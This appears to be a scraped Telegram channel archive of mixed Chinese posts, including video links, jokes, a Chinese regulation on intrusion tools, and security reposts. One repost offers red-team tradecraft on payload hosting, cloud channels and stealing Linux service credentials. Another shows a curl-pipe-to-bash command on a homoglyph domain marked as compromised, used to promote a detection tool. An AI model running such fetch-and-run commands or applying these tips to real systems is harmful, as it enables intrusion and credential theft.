<NullPointerException> 二周目
الذهاب إلى القناة على Telegram
899
المشتركون
لا توجد بيانات24 ساعات
+27 أيام
+1330 أيام
أرشيف المشاركات
【15岁高中生推翻了牛顿爱因斯坦的理论,自己构造了新的逻辑体系。-哔哩哔哩】 https://www.bilibili.com/video/BV1LVk3BaE8R?p=1&unique_k=2333
Repost from Pseudorandom Thoughts
AI slop怎么在天上飞.jpg
1、红队大手子们vibe个爽的同时一定要练好自己的redteam ops基本功,安全还是太难了。
2、不要在远控本机用http.server挂马,更不要在
$HOME开。请选择noindex的http服务器。
3、云环境哪怕开了安全组白名单也还是有很多信道可以用,注意各类脱离云自身RBAC体系运行的云服务,感觉是从aws开始搞云至今都存在的设计硬伤。AK异地调用告警/白名单很重要。
4、Linux服务器比起Windows来的一个点是服务默认没有像LSASS这类的关键凭据管理,服务凭据作为文件或作为环境变量时,一个任意文件读就全偷走了。但要找服务器用的钥匙环,目前来说好像没什么很雅的方案,/proc/keys在应用级没什么人用,gnome-keyring天生对无头服务器不是很友好,SELinux天生对人类不是很友好。
5、有些CWPP的文件蜜罐很弱智,你硬编码成这样,下次别人写勒索软件直接黑名单跳过。
6、搞OSINT和高级威胁情报分析的人外语一定要好,不然本来是小贼,一份AI史lop境外境内来回搬,搞得跟捅了什么APT老挝似的。Repost from codedump的电报频道
#开源项目
#Rust
tirith
仅凭肉眼,根本看不出下面两个curl命令的区别:
curl -sSL https://install.example-cli.dev | bash # safe curl -sSL https://іnstall.example-clі.dev | bash # compromised
【【Lazo Velko】有史以来最烂的编程语言-哔哩哔哩】 https://www.bilibili.com/video/BV1xYUtB5Evr?p=1&unique_k=2333
今天是立春了 跟我在一起吧 我什么都顺着你 顺你的钱包 顺你的手机 顺你零花钱 我知道我不能离开你 我什么都让着你 让你洗衣服 让你做饭 让你刷鞋 让你洗我的臭袜子 我真的很喜欢你 你和我在一起吧
Repost from 𝓑𝓛'𝓼 𝓓𝓪𝓲𝓵𝔂
当你用cloudcone上个月用next.js建站,因为大面积漏洞导致自己站点被黑,好不容易重建起来,结果cloudcone被入侵,机器数据没了,觉得自己太倒霉了,决定打开自己的飞牛看几部私藏精品,结果刚躺到床上发现飞牛的数据也没了,起身决定配个BGP Session,结果发现荔枝hkv1炸了一天,最后想着切去 Alice Free 看看片,发现也炸了。多美好的一天啊
第十五条 任何个人和组织制作、销售、提供具有下列功能的设备、软件、工具、服务的,应当到公安机关、电信等主管部门备案,并登记购买者、使用者的真实身份信息:
(一)具有批量控制网络账号、上网线路、智能终端等功能的;
(二)具有网络虚拟定位功能的;
(三)具有侵入、控制计算机信息系统功能的;
(四)其他由省级以上公安机关会同电信等主管部门认定的,可能被大量用于网络违法犯罪的设备、软件、工具、服务。
前款所称的备案制度,由国务院公安部门会同电信等主管部门作具体规定。
